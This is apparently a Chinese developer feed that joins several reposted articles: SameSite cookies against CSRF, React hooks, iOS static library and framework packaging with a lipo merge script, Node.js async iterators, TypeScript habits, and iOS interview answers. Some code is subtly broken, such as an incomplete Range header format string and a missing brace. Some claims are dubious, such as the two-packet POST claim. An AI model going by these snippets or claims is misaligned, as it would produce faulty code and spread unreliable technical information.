    如果 SameSite 属性设置为 Strict ,则浏览器将不会在来自其他站点的任何请求中包含cookie。这是最具防御性的选择,但它可能会损害用户体验,因为如果登录的用户通过第三方链接访问某个站点,那么他们将不会登录,并且需要重新登录,然后才能以正常方式与站点交互。

    如果 SameSite 属性设置为 Lax ,则浏览器将在来自另一个站点的请求中包含cookie,但前提是满足以下两个条件:

    • 请求使用 GET 方法。使用其他方法(如 POST )的请求将不会包括 cookie 。
    • 请求是由用户的顶级导航(如单击链接)产生的。其他请求(如由脚本启动的请求)将不会包括 cookie 。

    使用 SameSite 的 Lax 模式确实对 CSRF 攻击提供了部分防御,因为 CSRF 攻击的目标用户操作通常使用 POST 方法实现。这里有两个重要的注意事项:

    • 有些应用程序确实使用 GET 请求实现敏感操作。
    • 许多应用程序和框架能够容忍不同的 HTTP 方法。在这种情况下,即使应用程序本身设计使用的是 POST 方法,但它实际上也会接受被切换为使用 GET 方法的请求。

    出于上述原因,不建议仅依赖 SameSite Cookie 来抵御 CSRF 攻击。当其与 CSRF token 结合使用时,SameSite cookies 可以提供额外的防御层,并减轻基于令牌的防御中的任何缺陷。

    原文链接:https://segmentfault.com/a/1190000039372004

    收起阅读 »

    useEffect, useCallback, useMemo三者有何区别?

    背景在目前的react开发中,很多新项目都采用函数组件,因此,我们免不了会接触到hooks。此外,Hooks也是前端面试中react方面的一个高频考点,需要掌握常用的几种hooks。常用的有基本:useState, useEffect, useContext额...
    继续阅读 »

    背景

    在目前的react开发中,很多新项目都采用函数组件,因此,我们免不了会接触到hooks。

    此外,Hooks也是前端面试中react方面的一个高频考点,需要掌握常用的几种hooks。

    常用的有

    基本:useState, useEffect, useContext

    额外:useCallback, useMemo, useRef

    刚接触公司的react项目代码时,发现组件都是用的函数组件,不得不去学习hooks,之前只会类组件和react基础

    其中useState不用说了,很容易理解,使我们在函数组件中也能像类组件那样获取、改变state

    项目中很多地方都有useEffect, useCallback, useMemo,初看时感觉这三个都是包着一个东西,有它们跟没有它们感觉也没什么区别,很难分清这三个什么时候要用

    所以这里就略微总结一下,附上一点个人在开发过程中的理解。


    其实这三个区别还是挺明显的,

    useEffect

    useEffect可以帮助我们在DOM更新完成后执行某些副作用操作,如数据获取,设置订阅以及手动更改 React 组件中的 DOM 等

    有了useEffect,我们可以在函数组件中实现 像类组件中的生命周期那样某个阶段做某件事情 (具有componentDidMountcomponentDidUpdate 和 componentWillUnmount的功能)

    // 基本用法
    useEffect(() => {
    console.log('这是一个不含依赖数组的useEffect,每次render都会执行!')
    })
    useEffect 规则
    • 没有传第二个参数时,在每次 render 之后都会执行 useEffect中的内容
    • useEffect接受第二个参数来控制跳过执行,下次 render 后如果指定的值没有变化就不会执行
    • useEffect 是在 render 之后浏览器已经渲染结束才执行
    useEffect 的第二个参数是可选的,类型是一个数组

    根据第二个参数的不同情况,useEffect具有不同作用

    1. 空数组

    useEffect 只在第一次渲染时执行,由于空数组中没有值,始终没有改变,所以后续render不执行,相当于生命周期中的componentDidMount

    useEffect(() => { console.log('只在第一次渲染时执行') }, []);

    2. 非空数组

    无论数组中有几个元素,数组中只要有任意一项发生了改变,useEffect 都会调用

    useEffect(() => { getStuInfo({ id: stuId }); }, [getStuInfo, stuId]); //getStuInfo或者stuId改变时调用getStuInfo函数
    useEffect用作componentWillUnmount

    useEffect可以像让我们在组件即将卸载前做一些清除操作,如清空数据,清除计时器
    使用方法:只需在现有的useEffect中返回一个函数,函数中为组件即将卸载前要做的操作

    示例

    useEffect(() => { 
    getStuInfo({ id: stuId });
    // 返回一个函数,在组件即将卸载前执行
    return ()=> {
    clearTimeout(Timer); // 清除定时器
    data = null; // 清空页面数据,当我们希望页面切换回来时不显示之前的内容时在组件卸载前清空数据,常用于搜索页面,切回时显示空内容,需重新搜索
    }
    }, [getStuInfo, stuId]);

    useCallback 和 useMemo

    • 相同点:useCallback 和 useMemo 都是性能优化的手段,类似于类组件中的 shouldComponentUpdate,在子组件中使用 shouldComponentUpdate, 判定该组件的 props 和 state 是否有变化,从而避免每次父组件render时都去重新渲染子组件。
    • 区别:useCallback 和 useMemo 的区别是useCallback返回一个函数,当把它返回的这个函数作为子组件使用时,可以避免每次父组件更新时都重新渲染这个子组件,
    const renderButton = useCallback(
    () => (
    <Button type="link">
    {buttonText}
    </Button>
    ),
    [buttonText]   // 当buttonText改变时才重新渲染renderButton
    );

    useMemo返回的的是一个值,用于避免在每次渲染时都进行高开销的计算。例:

    // 仅当num改变时才重新计算结果
    const result = useMemo(() => {
    for (let i = 0; i < 100000; i++) {
    (num * Math.pow(2, 15)) / 9;
    }
    }, [num]);

    补充:什么时候用useCallback和useMemo进行优化

    任何的优化都是有代价的,useCallback和useMemo虽然能够避免非必要渲染,但为此也付出了成本,比如保留额外的依赖数组;保留旧值的副本,以便在与先前依赖相同的情况下返回……

    考虑到这些,在我们的项目中什么时候用useCallback和useMemo进行优化呢?

    目前所在的公司,项目中所有地方都用了useCallback和useMemo,就这块问了一下mentor,他给出的答复是这样的:

    就算有比对代价也比较小,因为哪怕是对象也只是引用比较。我觉得任何时候都用是一个好的习惯,但是大部分时间不用也没什么大问题。但是如果该函数或变量作为 props 传给子组件,请一定要用,避免子组件的非必要渲染

    然后要记得 React 的工作方式遵循纯函数,特别是数据的 immutable,因此,使用 memo 很重要。但大部分时候都不足以成为性能瓶颈

    原文链接:https://segmentfault.com/a/1190000039657107

    收起阅读 »

    iOS .a与framework打包以及shell自动合并

    静态库打包的流程:.a打包将提前准备的项目文件及项目资源导入到SDK制作工程中添加New Header Phase将制作静态库需要的.h文件添加到Project中,将静态库调用的头文件添加到Public中静态库打包bundle文件>由于演示制作的静态库包...
    继续阅读 »

    静态库打包的流程:


    .a打包


    将提前准备的项目文件及项目资源导入到SDK制作工程中


    添加New Header Phase


    将制作静态库需要的.h文件添加到Project中,将静态库调用的头文件添加到Public中


    静态库打包bundle文件>由于演示制作的静态库包含图片和xib文件,因此为了规范,我们需要把图片和xib文件添加到bundle中,如图添加给静态库添加bundle资源包


    创建好之后,将图片和xib文件添加到Copy Bundle Resources中


    由于.bundle文件属于macOX类型,所以我们需要改一些配置来适配iOS,如图所示
    TARGETS ->选择bundle -> Build Settings ->Base SDK ->选择Latest iOS (iOS 11.2)

    设置Build Setting 中的COMBINE_HIDPI_IMAEGS 为NO,否则Bundle中的图片就是tiff格式了。


    作为资源包,仅仅需要编译就好,无需安装相关配置,设置Skip Install为YES,同样需要删除安装路径Installation Dirctory的值



    到此为止bundle文件的设置完成


    打包工程和资源文件

    找到源文件路径,如下图所示,到此静态库制作完成,将.libStaticSDK.a和source.bundle和头文件StaticSDK.h导入到项目中即可使用


    找到源文件路径

    3、合并静态库真机和模拟器文件

    我们在制作静态库的时候,编译会产两个.a文件,一个适用于模拟器的,一个是用于真机的,为了开发方便我们可以使用终端命令将.a文件进行合并

    lipo -create XXX/模拟器.a路径 XXX/真机.a路径 -output 合并后的文件名称.a

    4、注意点,由于资源文件在Bundle文件中因此在使用时需注意,以下我举两个例子,一个是加载图片,一个是加载xib文件




    对于使用了Cocoapod导入第三方的xcode工程来讲 需要在Podfile中 做如下修改 之后 pod install
    需要同时对住工程target 和Framework的target 配置pod环境



    2.build Setting 设置

    选择工程文件>target第一项>Build Setting>搜索linking,然后几个需要设置的选项都显现出来,首先是Dead Code Stripping设置为NO,网上对此项的解释如下,大致意思是如果开启此项就会对代码中的”dead”、”unreachable”的代码过滤,不过这个开关是否关闭,似乎没有多大影响,不过为了完整还原framework中的代码,将此项关闭也未曾不可。

    The resulting executable will not include any “dead” or unreachable code

    然后将Link With Standard Libraries关闭,我想可能是为了避免重复链接

    最后将Mach-O Type设为Static Library,framework可以是动态库也可以是静态库,对于系统的framework是动态库,而用户制作的framework只能是静态库。

    开始将下图中的build Active Architecture only选项设为YES,导致其编译时只生成当前机器的框架,将其设置为NO后,发现用模拟器编译后生成的framework同时包含x86_64和i386架构。不过这个无所谓,我们之后会使用编译脚本,脚本会将所有的架构全包含


    分别编译

    show in finder 如下

    Debug-iphoneos 为Debug模式下真机使用的
    Debug-iphonesimulator 为Debug模式下模拟器使用的
    Release -iphoneos 为Release模式下真机使用的
    Release-iphonesimulator 为Release模式下模拟器使用的



    下面的合并和.a一样操作

    下面介绍自动shell脚本合并

    1:生成脚本target


    2.target设置

    1.添加target依赖

    Target Dependencies 选中需要打包的framework + 选择New Run Script Phase 出现 Run Scirpt

    2.设置脚本路径

    可以在命令行里设置
    也可以直接将脚本粘贴在这里


    # 取得项目名字(get project name)
    FMK_NAME=${PROJECT_NAME}
    # 取得生成的静态库文件路径 (get framework path)
    INSTALL_DIR=${SRCROOT}/Products/${FMK_NAME}.framework
    # 设置真机和模拟器生成的静态库路径 (set devcie framework and simulator framework path)
    WRK_DIR=build
    DEVICE_DIR=${WRK_DIR}/Release-iphoneos/${FMK_NAME}.framework
    SIMULATOR_DIR=${WRK_DIR}/Release-iphonesimulator/${FMK_NAME}.framework
    # 模拟器和真机编译 (device and simulator build)
    xcodebuild -configuration "Release" -target "${FMK_NAME}" -sdk iphoneos clean build
    xcodebuild -configuration "Release" -target "${FMK_NAME}" -sdk iphonesimulator clean build
    # 删除临时文件 (delete temp file)
    if [ -d "${INSTALL_DIR}" ]
    then
    rm -rf "${INSTALL_DIR}"
    fi
    mkdir -p "${INSTALL_DIR}"
    # 拷贝真机framework文件到生成路径下 (copy device file to product path)
    cp -R "${DEVICE_DIR}/" "${INSTALL_DIR}/"
    # 合并生成,替换真机framework里面的二进制文件,并且打开 (merger and open)
    lipo -create "${DEVICE_DIR}/${FMK_NAME}" "${SIMULATOR_DIR}/${FMK_NAME}" -output "${INSTALL_DIR}/${FMK_NAME}"
    echo "${DEVICE_DIR}/${FMK_NAME}"
    echo "${SIMULATOR_DIR}/${FMK_NAME}"
    rm -rf "${WRK_DIR}"
    open "${INSTALL_DIR}"



    摘自作者:Cooci
    原贴链接:https://www.jianshu.com/p/bf1cc6ac7d17

    收起阅读 »

    关于 Node.js 中的异步迭代器

    从 10.0.0 版开始,异步迭代器就出现在 Node 中了,在本文中,我们将讨论异步迭代器的作用,以及它们可以用在什么地方。什么是异步迭代器异步迭代器实际上是以前迭代器的异步版本。当我们不知道迭代的值和最终状态时,可以使用异步迭代器。两者不同的地方在于,我们...
    继续阅读 »

    从 10.0.0 版开始,异步迭代器就出现在 Node 中了,在本文中,我们将讨论异步迭代器的作用,以及它们可以用在什么地方。

    什么是异步迭代器

    异步迭代器实际上是以前迭代器的异步版本。当我们不知道迭代的值和最终状态时,可以使用异步迭代器。两者不同的地方在于,我们得到的 promise 最终将被分解为普通的 { value: any, done: boolean } 对象,另外可以通过 for-await-of 循环来处理异步迭代器。就像 for-of 循环用于同步迭代器一样。

    const asyncIterable = [1, 2, 3];
    asyncIterable[Symbol.asyncIterator] = async function*() {
    for (let i = 0; i < asyncIterable.length; i++) {
    yield { value: asyncIterable[i], done: false }
    }
    yield { done: true };
    };

    (async function() {
    for await (const part of asyncIterable) {
    console.log(part);
    }
    })();

    与通常的 for-of 循环相反,`for-await-of 循环将会等待它收到的每个 promise 解析之后再继续执行下一个。

    除了流之外,还在还没有什么能够支持异步迭代的结构,但是可以将 asyncIterator 符号手动添加到任何一种可迭代的结构中。

    在流上使用异步迭代器

    异步迭代器在处理流时非常有用。可读流、可写流、双工流和转换流上都带有 asyncIterator 符号。

    async function printFileToConsole(path) {
    try {
    const readStream = fs.createReadStream(path, { encoding: 'utf-8' });

    for await (const chunk of readStream) {
    console.log(chunk);
    }

    console.log('EOF');
    } catch(error) {
    console.log(error);
    }
    }

    如果以这种方式写代码,就不需要在通过迭代获取每个数据块时监听 end 和 data 事件了,并且 for-await-of 循环会随着流的结束而结束。

    用于有分页功能的 API

    你还可以通过异步迭代从使用分页的源中轻松获取数据。为了实现这个功能,还需要一种从Node https 请求方法提供给的流中重构响应主体的方法。在这里也可以使用异步迭代器,因为 https 请求和响应在 Node 中都是流:

    const https = require('https');

    function homebrewFetch(url) {
    return new Promise(async (resolve, reject) => {
    const req = https.get(url, async function(res) {
    if (res.statusCode >= 400) {
    return reject(new Error(`HTTP Status: ${res.statusCode}`));
    }

    try {
    let body = '';

    /*
    代替 res.on 侦听流中的数据,
    可以使用 for-await-of,
    并把数据块附加到到响应体的剩余部分
    */
    for await (const chunk of res) {
    body += chunk;
    }

    // 处理响应没有响应体的情况
    if (!body) resolve({});
    // 需要解析正文来获取 json,因为它是一个字符串
    const result = JSON.parse(body);
    resolve(result);
    } catch(error) {
    reject(error)
    }
    });

    await req;
    req.end();
    });
    }

    代码通过向 Cat API(https://thecatapi.com/)发出请求,来获取一些猫的图片。另外还添加了 7 秒钟的延迟防止对 cat API 的访问过与频繁,因为那样是极其不道德的。

    function fetchCatPics({ limit, page, done }) {
    return homebrewFetch(`https://api.thecatapi.com/v1/images/search?limit=${limit}&page=${page}&order=DESC`)
    .then(body => ({ value: body, done }));
    }

    function catPics({ limit }) {
    return {
    [Symbol.asyncIterator]: async function*() {
    let currentPage = 0;
    // 5 页后停止
    while(currentPage < 5) {
    try {
    const cats = await fetchCatPics({ currentPage, limit, done: false });
    console.log(`Fetched ${limit} cats`);
    yield cats;
    currentPage ++;
    } catch(error) {
    console.log('There has been an error fetching all the cats!');
    console.log(error);
    }
    }
    }
    };
    }

    (async function() {
    try {
    for await (let catPicPage of catPics({ limit: 10 })) {
    console.log(catPicPage);
    // 每次请求之间等待 7 秒
    await new Promise(resolve => setTimeout(resolve, 7000));
    }
    } catch(error) {
    console.log(error);
    }
    })()

    这样,我们就会每隔7秒钟自动取回一整页的喵星人图片。

    一种更常见的页面间导航的方法可实现 next 和 previous 方法并将它们公开为控件:

    function actualCatPics({ limit }) {
    return {
    [Symbol.asyncIterator]: () => {
    let page = 0;
    return {
    next: function() {
    page++;
    return fetchCatPics({ page, limit, done: false });
    },
    previous: function() {
    if (page > 0) {
    page--;
    return fetchCatPics({ page, limit, done: false });
    }
    return fetchCatPics({ page: 0, limit, done: true });
    }
    }
    }
    };
    }

    try {
    const someCatPics = actualCatPics({ limit: 5 });
    const { next, previous } = someCatPics[Symbol.asyncIterator]();
    next().then(console.log);
    next().then(console.log);
    previous().then(console.log);
    } catch(error) {
    console.log(error);
    }

    如你所见,当要获取数据页面或在程序的 UI 上进行无限滚动之类的操作时,异步迭代器会非常有用。

    这些功能在 Chrome 63+、Firefox 57+、Safari 11.1+ 中可用。

    原文链接:https://segmentfault.com/a/1190000039366803

    收起阅读 »

    写TypeScript代码的10种坏习惯

    近几年 TypeScript 和 JavaScript 一直在稳步发展。我们在过去写代码时养成了一些习惯,而有些习惯却没有什么意义。以下是我们都应该改正的 10 个坏习惯。1.不使用 strict 模式这种习惯看起来是什么样的没有用严格模式...
    继续阅读 »

    近几年 TypeScript 和 JavaScript 一直在稳步发展。我们在过去写代码时养成了一些习惯,而有些习惯却没有什么意义。以下是我们都应该改正的 10 个坏习惯。

    1.不使用 strict 模式

    这种习惯看起来是什么样的

    没有用严格模式编写 tsconfig.json

    {
    "compilerOptions": {
    "target": "ES2015",
    "module": "commonjs"
    }
    }

    应该怎样

    只需启用 strict 模式即可:

    {
    "compilerOptions": {
    "target": "ES2015",
    "module": "commonjs",
    "strict": true
    }
    }

    为什么会有这种坏习惯

    在现有代码库中引入更严格的规则需要花费时间。

    为什么不该这样做

    更严格的规则使将来维护代码时更加容易,使你节省大量的时间。

    2. 用 || 定义默认值

    这种习惯看起来是什么样的

    使用旧的 || 处理后备的默认值:

    function createBlogPost (text: string, author: string, date?: Date) {
    return {
    text: text,
    author: author,
    date: date || new Date()
    }
    }

    应该怎样

    使用新的 ?? 运算符,或者在参数重定义默认值。

    function createBlogPost (text: string, author: string, date: Date = new Date())
    return {
    text: text,
    author: author,
    date: date
    }
    }

    为什么会有这种坏习惯

    ?? 运算符是去年才引入的,当在长函数中使用值时,可能很难将其设置为参数默认值。

    为什么不该这样做

    ?? 与 || 不同,?? 仅针对 null 或 undefined,并不适用于所有虚值。

    3. 随意使用 any 类型

    这种习惯看起来是什么样的

    当你不确定结构时,可以用 any 类型。

    async function loadProducts(): Promise<Product[]> {
    const response = await fetch('https://api.mysite.com/products')
    const products: any = await response.json()
    return products
    }

    应该怎样

    把你代码中任何一个使用 any 的地方都改为 unknown

    async function loadProducts(): Promise<Product[]> {
    const response = await fetch('https://api.mysite.com/products')
    const products: unknown = await response.json()
    return products as Product[]
    }

    为什么会有这种坏习惯

    any 是很方便的,因为它基本上禁用了所有的类型检查。通常,甚至在官方提供的类型中都使用了 any。例如,TypeScript 团队将上面例子中的 response.json() 的类型设置为 Promise <any>

    为什么不该这样做

    它基本上禁用所有类型检查。任何通过 any 进来的东西将完全放弃所有类型检查。这将会使错误很难被捕获到。

    4. val as SomeType

    这种习惯看起来是什么样的

    强行告诉编译器无法推断的类型。

    async function loadProducts(): Promise<Product[]> {
    const response = await fetch('https://api.mysite.com/products')
    const products: unknown = await response.json()
    return products as Product[]
    }

    应该怎样

    这正是 Type Guard 的用武之地。

    function isArrayOfProducts (obj: unknown): obj is Product[] {
    return Array.isArray(obj) && obj.every(isProduct)
    }

    function isProduct (obj: unknown): obj is Product {
    return obj != null
    && typeof (obj as Product).id === 'string'
    }

    async function loadProducts(): Promise<Product[]> {
    const response = await fetch('https://api.mysite.com/products')
    const products: unknown = await response.json()
    if (!isArrayOfProducts(products)) {
    throw new TypeError('Received malformed products API response')
    }
    return products
    }

    为什么会有这种坏习惯

    从 JavaScript 转到 TypeScript 时,现有的代码库通常会对 TypeScript 编译器无法自动推断出的类型进行假设。在这时,通过 as SomeOtherType 可以加快转换速度,而不必修改 tsconfig 中的设置。

    为什么不该这样做

    Type Guard 会确保所有检查都是明确的。

    5. 测试中的 as any

    这种习惯看起来是什么样的

    编写测试时创建不完整的用例。

    interface User {
    id: string
    firstName: string
    lastName: string
    email: string
    }

    test('createEmailText returns text that greats the user by first name', () => {
    const user: User = {
    firstName: 'John'
    } as any

    expect(createEmailText(user)).toContain(user.firstName)
    }

    应该怎样

    如果你需要模拟测试数据,请将模拟逻辑移到要模拟的对象旁边,并使其可重用。

    interface User {
    id: string
    firstName: string
    lastName: string
    email: string
    }

    class MockUser implements User {
    id = 'id'
    firstName = 'John'
    lastName = 'Doe'
    email = 'john@doe.com'
    }

    test('createEmailText returns text that greats the user by first name', () => {
    const user = new MockUser()

    expect(createEmailText(user)).toContain(user.firstName)
    }

    为什么会有这种坏习惯

    在给尚不具备广泛测试覆盖条件的代码编写测试时,通常会存在复杂的大数据结构,但要测试的特定功能仅需要其中的一部分。短期内不必关心其他属性。

    为什么不该这样做

    在某些情况下,被测代码依赖于我们之前认为不重要的属性,然后需要更新针对该功能的所有测试。

    6. 可选属性

    这种习惯看起来是什么样的

    将属性标记为可选属性,即便这些属性有时不存在。

    interface Product {
    id: string
    type: 'digital' | 'physical'
    weightInKg?: number
    sizeInMb?: number
    }

    应该怎样

    明确哪些组合存在,哪些不存在。

    interface Product {
    id: string
    type: 'digital' | 'physical'
    }

    interface DigitalProduct extends Product {
    type: 'digital'
    sizeInMb: number
    }

    interface PhysicalProduct extends Product {
    type: 'physical'
    weightInKg: number
    }

    为什么会有这种坏习惯

    将属性标记为可选而不是拆分类型更容易,并且产生的代码更少。它还需要对正在构建的产品有更深入的了解,并且如果对产品的设计有所修改,可能会限制代码的使用。

    为什么不该这样做

    类型系统的最大好处是可以用编译时检查代替运行时检查。通过更显式的类型,能够对可能不被注意的错误进行编译时检查,例如确保每个 DigitalProduct 都有一个 sizeInMb

    7. 用一个字母通行天下

    这种习惯看起来是什么样的

    用一个字母命名泛型

    function head<T> (arr: T[]): T | undefined {
    return arr[0]
    }

    应该怎样

    提供完整的描述性类型名称。

    function head<Element> (arr: Element[]): Element | undefined {
    return arr[0]
    }

    为什么会有这种坏习惯

    这种写法最早来源于C++的范型库,即使是 TS 的官方文档也在用一个字母的名称。它也可以更快地输入,只需要简单的敲下一个字母 T 就可以代替写全名。

    为什么不该这样做

    通用类型变量也是变量,就像其他变量一样。当 IDE 开始向我们展示变量的类型细节时,我们已经慢慢放弃了用它们的名称描述来变量类型的想法。例如我们现在写代码用 const name ='Daniel',而不是 const strName ='Daniel'。同样,一个字母的变量名通常会令人费解,因为不看声明就很难理解它们的含义。

    8. 对非布尔类型的值进行布尔检查

    这种习惯看起来是什么样的

    通过直接将值传给 if 语句来检查是否定义了值。

    function createNewMessagesResponse (countOfNewMessages?: number) {
    if (countOfNewMessages) {
    return `You have ${countOfNewMessages} new messages`
    }
    return 'Error: Could not retrieve number of new messages'
    }

    应该怎样

    明确检查我们所关心的状况。

    function createNewMessagesResponse (countOfNewMessages?: number) {
    if (countOfNewMessages !== undefined) {
    return `You have ${countOfNewMessages} new messages`
    }
    return 'Error: Could not retrieve number of new messages'
    }

    为什么会有这种坏习惯

    编写简短的检测代码看起来更加简洁,使我们能够避免思考实际想要检测的内容。

    为什么不该这样做

    也许我们应该考虑一下实际要检查的内容。例如上面的例子以不同的方式处理 countOfNewMessages 为 0 的情况。

    9. ”棒棒“运算符

    这种习惯看起来是什么样的

    将非布尔值转换为布尔值。

    function createNewMessagesResponse (countOfNewMessages?: number) {
    if (!!countOfNewMessages) {
    return `You have ${countOfNewMessages} new messages`
    }
    return 'Error: Could not retrieve number of new messages'
    }

    应该怎样

    明确检查我们所关心的状况。

    function createNewMessagesResponse (countOfNewMessages?: number) {
    if (countOfNewMessages !== undefined) {
    return `You have ${countOfNewMessages} new messages`
    }
    return 'Error: Could not retrieve number of new messages'
    }

    为什么会有这种坏习惯

    对某些人而言,理解 !! 就像是进入 JavaScript 世界的入门仪式。它看起来简短而简洁,如果你对它已经非常习惯了,就会知道它的含义。这是将任意值转换为布尔值的便捷方式。尤其是在如果虚值之间没有明确的语义界限时,例如 nullundefined 和 ''

    为什么不该这样做

    与很多编码时的便捷方式一样,使用 !! 实际上是混淆了代码的真实含义。这使得新开发人员很难理解代码,无论是对一般开发人员来说还是对 JavaScript 来说都是新手。也很容易引入细微的错误。在对“非布尔类型的值”进行布尔检查时 countOfNewMessages 为 0 的问题在使用 !! 时仍然会存在。

    10. != null

    这种习惯看起来是什么样的

    棒棒运算符的小弟 ! = null使我们能同时检查 null 和 undefined

    function createNewMessagesResponse (countOfNewMessages?: number) {
    if (countOfNewMessages != null) {
    return `You have ${countOfNewMessages} new messages`
    }
    return 'Error: Could not retrieve number of new messages'
    }

    应该怎样

    明确检查我们所关心的状况。

    function createNewMessagesResponse (countOfNewMessages?: number) {
    if (countOfNewMessages !== undefined) {
    return `You have ${countOfNewMessages} new messages`
    }
    return 'Error: Could not retrieve number of new messages'
    }

    为什么会有这种坏习惯

    如果你的代码在 null 和 undefined 之间没有明显的区别,那么 != null 有助于简化对这两种可能性的检查。

    为什么不该这样做

    尽管 null 在 JavaScript早期很麻烦,但 TypeScript 处于 strict 模式时,它却可以成为这种语言中宝贵的工具。一种常见模式是将 null 值定义为不存在的事物,将 undefined 定义为未知的事物,例如 user.firstName === null 可能意味着用户实际上没有名字,而 user.firstName === undefined 只是意味着我们尚未询问该用户(而 user.firstName === 的意思是字面意思是 '' 。

    原文链接:https://segmentfault.com/a/1190000039368534

    收起阅读 »

    腾讯iOS面试题一分析

    网络相关:1. 项目使用过哪些网络库?用过ASIHttp库嘛AFNetworking、ASIHttpRequest、Alamofire(swift)1、AFN的底层实现基于OC的NSURLConnection和NSURLSession2、ASI的底层实现基于纯...
    继续阅读 »

    网络相关:

    1. 项目使用过哪些网络库?用过ASIHttp库嘛
    AFNetworking、ASIHttpRequest、Alamofire(swift)
    1、AFN的底层实现基于OC的NSURLConnection和NSURLSession
    2、ASI的底层实现基于纯C语言的CFNetwork框架
    3、因为NSURLConnection和NSURLSession是在CFNetwork之上的一层封装,因此ASI的运行性能高于AFN

    2. 断点续传怎么实现的?
    需要怎么设置断点续传就是从文件上次中断的地方开始重新下载或上传数据。要实现断点续传 , 服务器必须支持(这个很重要,一个巴掌是拍不响的,如果服务器不支持,那么客户端写的再好也没用)。总结:断点续传主要依赖于 HTTP 头部定义的 Range 来完成。有了 Range,应用可以通过 HTTP 请求获取失败的资源,从而来恢复下载该资源。当然并不是所有的服务器都支持 Range,但大多数服务器是可以的。Range 是以字节计算的,请求的时候不必给出结尾字节数,因为请求方并不一定知道资源的大小。

    // 1 指定下载文件地址 URLString
    // 2 获取保存的文件路径 filePath
    // 3 创建 NSURLRequest
    NSURLRequest *request = [NSURLRequest requestWithURL:[NSURL URLWithString:URLString]];
    unsigned long long downloadedBytes = 0;

    if ([[NSFileManager defaultManager] fileExistsAtPath:filePath]) {
    // 3.1 若之前下载过 , 则在 HTTP 请求头部加入 Range
    // 获取已下载文件的 size
    downloadedBytes = [self fileSizeForPath:filePath];

    // 验证是否下载过文件
    if (downloadedBytes > 0) {
    // 若下载过 , 断点续传的时候修改 HTTP 头部部分的 Range
    NSMutableURLRequest *mutableURLRequest = [request mutableCopy];
    NSString *requestRange =
    [NSString stringWithFormat:@"bytes=%", downloadedBytes];
    [mutableURLRequest setValue:requestRange forHTTPHeaderField:@"Range"];
    request = mutableURLRequest;
    }
    }
    // 4 创建 AFHTTPRequestOperation
    AFHTTPRequestOperation *operation
    = [[AFHTTPRequestOperation alloc] initWithRequest:request];

    // 5 设置操作输出流 , 保存在第 2 步的文件中
    operation.outputStream = [NSOutputStream
    outputStreamToFileAtPath:filePath append:YES];

    // 6 设置下载进度处理 block
    [operation setDownloadProgressBlock:^(NSUInteger bytesRead,
    long long totalBytesRead, long long totalBytesExpectedToRead) {
    // bytesRead 当前读取的字节数
    // totalBytesRead 读取的总字节数 , 包含断点续传之前的
    // totalBytesExpectedToRead 文件总大小
    }];

    // 7 设置 success 和 failure 处理 block
    [operation setCompletionBlockWithSuccess:^(AFHTTPRequestOperation
    *operation, id responseObject) {

    } failure:^(AFHTTPRequestOperation *operation, NSError *error) {

    }];

    // 8 启动 operation
    [operation start];

    3. HTTP请求 什么时候用post、get、put ?GET方法:对这个资源的查操作

    • GET参数通过URL传递,POST放在Request body中。

    • GET请求会被浏览器主动cache,而POST不会,除非手动设置

    • GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。

    • Get 请求中有非 ASCII 字符,会在请求之前进行转码,POST不用,因为POST在Request body中,通过 MIME,也就可以传输非 ASCII 字符。

    • 一般我们在浏览器输入一个网址访问网站都是GET请求

    • HTTP的底层是TCP/IP。HTTP只是个行为准则,而TCP才是GET和POST怎么实现的基本。GET/POST都是TCP链接。GET和POST能做的事情是一样一样的。但是请求的数据量太大对浏览器和服务器都是很大负担。所以业界有了不成文规定,(大多数)浏览器通常都会限制url长度在2K个字节,而(大多数)服务器最多处理64K大小的url。

    • GET产生一个TCP数据包;POST产生两个TCP数据包。对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据);而对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。

    • 在网络环境好的情况下,发一次包的时间和发两次包的时间差别基本可以无视。而在网络环境差的情况下,两次包的TCP在验证数据包完整性上,有非常大的优点。但并不是所有浏览器都会在POST中发送两次包,Firefox就只发送一次。

    PUT和POS都有更改指定URI的语义.但PUT被定义为idempotent的方法,POST则不是.idempotent的方法:如果一个方法重复执行
    多次,产生的效果是一样的,那就是idempotent的。也就是说:
    PUT请求:如果两个请求相同,后一个请求会把第一个请求覆盖掉。(所以PUT用来改资源)
    Post请求:后一个请求不会把第一个请求覆盖掉。(所以Post用来增资源)

    4. HTTP建立断开连接的时候为什么要 三次握手、四次挥手?
    因为当Server端收到Client端的SYN连接请求报文后,可以直接发送SYN+ACK报文。其中ACK报文是用来应答的,SYN报文是用来同步的。
    client请求连接,Serve发送确认连接,client回复确认连接 ==>连接建立
    但是关闭连接时,当Server端收到FIN报文时,很可能并不会立即关闭SOCKET,所以只能先回复一个ACK报文,告诉Client端,"你发的FIN报文我收到了"。只有等到我Server端所有的报文都发送完了,我才能发送FIN报文,因此不能一起发送。故需要四步握手。
    注意:
    client两个等待,FIN_Wait 和 Time_WaitTIME_WAIT状态需要经过2MSL(最大报文段生存时间)才能返回到CLOSE状态>。虽然按道理,四个报文都发送完毕,我们可以直接进入CLOSE状态了,但是我们必须假象网络是不可靠的,有可以最后一个ACK丢失。所以TIME_WAIT状态就是用来重发可能丢失的ACK报文。
    client请求断开,Server收到断开请求,server发送断开,client回复断开确认 ==>连接断

    5. 项目中的数据存储都有哪些,iOS中有哪些数据存储方法,什么时候用?

    • 文件

    • NSUserDefaults

    • 数据库4、KeyChain5、iCloud

    文件

    • 沙盒

    • Plist

    • NSKeyedArchiver归档 / NSKeyedUnarchiver解档
      NSUserDefaults

    数据库

    • SQLite3

    • FMDB

    • Core Data

    6、MVVM如何实现绑定?
    MVVM 的实现可以采用KVO进行数据绑定,也可以采用RAC。其实还可以采用block、代理(protocol)实现。
    MVVM比起MVC最大的好处就是可以实现自动绑定,将数据绑定在UI组件上,当UI中的值发生变化时,那么它对应的模型中也跟随着发生变化,这就是双向绑定机制,原因在于它在视图层和数据模型层之间实现了一个绑定器,绑定器可以管理两个值,它一直监听组件UI的值,只要发生变化,它将会把值传输过去改变model中的值。绑定器比较灵活,还可以实现单向绑定。
    实际开发中的做法:

    • 让Controller拥有View和ViewModel属性,VM拥有Model属性;Controller或者View来接收ViewModel发送的Model改变的通知

    • 用户的操作点击或者Controller的视图生命周期里面让ViewModel去执行请求,请求完成后ViewModel将返回数据模型化并保存,从而更新了Model;Controller和View是属于V部分,即实现V改变M(V绑定M)。如果不需要请求,这直接修改Model就是了。

